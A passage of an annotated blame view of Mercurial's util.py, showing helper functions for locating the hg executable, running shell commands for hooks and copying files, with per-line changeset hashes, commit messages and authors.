1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1086 return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1087 |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
1088 def mainfrozen(): |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1089 """return True if we are a frozen executable. |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1090 |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1091 The code supports py2exe (most common, Windows only) and tools/freeze |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1092 (portable, not much used). |
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1093 """ |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1094 return (safehasattr(sys, "frozen") or # new py2exe |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1095 safehasattr(sys, "importers") or # old py2exe |
30039
ff7697b436ab
py3: use unicode in is_frozen()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30038
diff
changeset
|
1096 imp.is_frozen(u"__main__")) # tools/freeze |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1097 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1098 # the location of data files matching the source code |
27764
dd0c5f4d1b53
util: adjust 'datapath' to be correct in a frozen OS X package
Matt Harbison <matt_harbison@yahoo.com>
parents:
27755
diff
changeset
|
1099 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1100 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1101 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1102 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1103 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1104 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1105 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1106 |
22632
db15bb2d6323
util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents:
22245
diff
changeset
|
1107 _hgexecutable = None |
db15bb2d6323
util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents:
22245
diff
changeset
|
1108 |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1109 def hgexecutable(): |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1110 """return location of the 'hg' executable. |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1111 |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1112 Defaults to $HG or 'hg' in the search path. |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1113 """ |
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1114 if _hgexecutable is None: |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1115 hg = encoding.environ.get('HG') |
31533
28f00d07e2ee
util: reference __main__ in sys.modules as a sysstr
Augie Fackler <augie@google.com>
parents:
31496
diff
changeset
|
1116 mainmod = sys.modules[pycompat.sysstr('__main__')] |
6500 | 1117 if hg: |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1118 _sethgexecutable(hg) |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
1119 elif mainfrozen(): |
27765
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1120 if getattr(sys, 'frozen', None) == 'macosx_app': |
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1121 # Env variable set by py2app |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1122 _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
27765
f1fb93eebb1d
util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27764
diff
changeset
|
1123 else: |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1124 _sethgexecutable(pycompat.sysexecutable) |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1125 elif (os.path.basename( |
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1126 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1127 _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
6499
479847ccabe0
Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents:
5659
diff
changeset
|
1128 else: |
14271
4030630fb59c
rename util.find_exe to findexe
Adrian Buehlmann <adrian@cadifra.com>
parents:
14262
diff
changeset
|
1129 exe = findexe('hg') or os.path.basename(sys.argv[0]) |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1130 _sethgexecutable(exe) |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1131 return _hgexecutable |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1132 |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1133 def _sethgexecutable(path): |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1134 """set location of the 'hg' executable""" |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1135 global _hgexecutable |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1136 _hgexecutable = path |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1137 |
26450
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1138 def _isstdout(f): |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1139 fileno = getattr(f, 'fileno', None) |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1140 return fileno and fileno() == sys.__stdout__.fileno() |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1141 |
30736
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1142 def shellenviron(environ=None): |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1143 """return environ with optional override, useful for shelling out""" |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1144 def py2shell(val): |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1145 'convert python object into string that is useful to shell' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1146 if val is None or val is False: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1147 return '0' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1148 if val is True: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1149 return '1' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1150 return str(val) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1151 env = dict(encoding.environ) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1152 if environ: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1153 env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1154 env['HG'] = hgexecutable() |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1155 return env |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1156 |
31108
3f8f53190d6a
chg: deduplicate error handling of ui.system()
Yuya Nishihara <yuya@tcha.org>
parents:
31074
diff
changeset
|
1157 def system(cmd, environ=None, cwd=None, out=None): |
1882
c0320567931f
merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1880
diff
changeset
|
1158 '''enhanced shell command execution. |
c0320567931f
merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1880
diff
changeset
|
1159 run with environment maybe modified, maybe in different dir. |
508 | 1160 |
11469
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1161 if out is specified, it is assumed to be a file-like object that has a |
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1162 write() method. stdout and stderr will be redirected to out.''' |
13439
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1163 try: |
30473
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
1164 stdout.flush() |
13439
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1165 except Exception: |
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1166 pass |
13188
6c9345f9edca
util: concentrate quoting knowledge to windows.py quotecommand()
Steve Borho <steve@borho.org>
parents:
13128
diff
changeset
|
1167 cmd = quotecommand(cmd) |
32886
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1168 env = shellenviron(environ) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1169 if out is None or _isstdout(out): |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1170 rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1171 env=env, cwd=cwd) |
11469
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1172 else: |
32886
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1173 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1174 env=env, cwd=cwd, stdout=subprocess.PIPE, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1175 stderr=subprocess.STDOUT) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1176 for line in iter(proc.stdout.readline, ''): |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1177 out.write(line) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1178 proc.wait() |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1179 rc = proc.returncode |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1180 if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1181 rc = 0 |
9517
4368f582c806
util.system: Use subprocess instead of os.system
Mads Kiilerich <mads@kiilerich.com>
parents:
9508
diff
changeset
|
1182 return rc |
1880
05c7d75be925
fix broken environment save/restore when a hook runs.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1877
diff
changeset
|
1183 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1184 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1185 '''wrap a function with code to check for calling errors''' |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1186 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1187 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1188 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1189 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1190 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1191 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1192 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1193 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1194 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1195 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1196 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1197 _hardlinkfswhitelist = { |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1198 'btrfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1199 'ext2', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1200 'ext3', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1201 'ext4', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1202 'hfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1203 'jfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1204 'reiserfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1205 'tmpfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1206 'ufs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1207 'xfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1208 'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1209 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1210 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1211 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1212 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1213 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1214 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1215 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1216 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1217 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1218 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1219 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1220 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1221 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1222 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1223 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1224 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1225 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1226 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1227 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1228 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1229 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1230 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1231 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1232 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1233 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1234 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1235 hardlink = False |
31577 | 1236 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1237 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1238 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1239 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1240 except (IOError, OSError): |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1241 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1242 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1243 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1244 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1245 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1246 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1247 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1248 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1249 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1250 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1251 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1252 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1253 shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1254 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1255 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1256 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1257 # stat of copied file is ambiguous to original one |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1258 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1259 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1260 except shutil.Error as inst: |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1261 raise Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1262 |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1263 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1264 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1265 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1266 |
31718
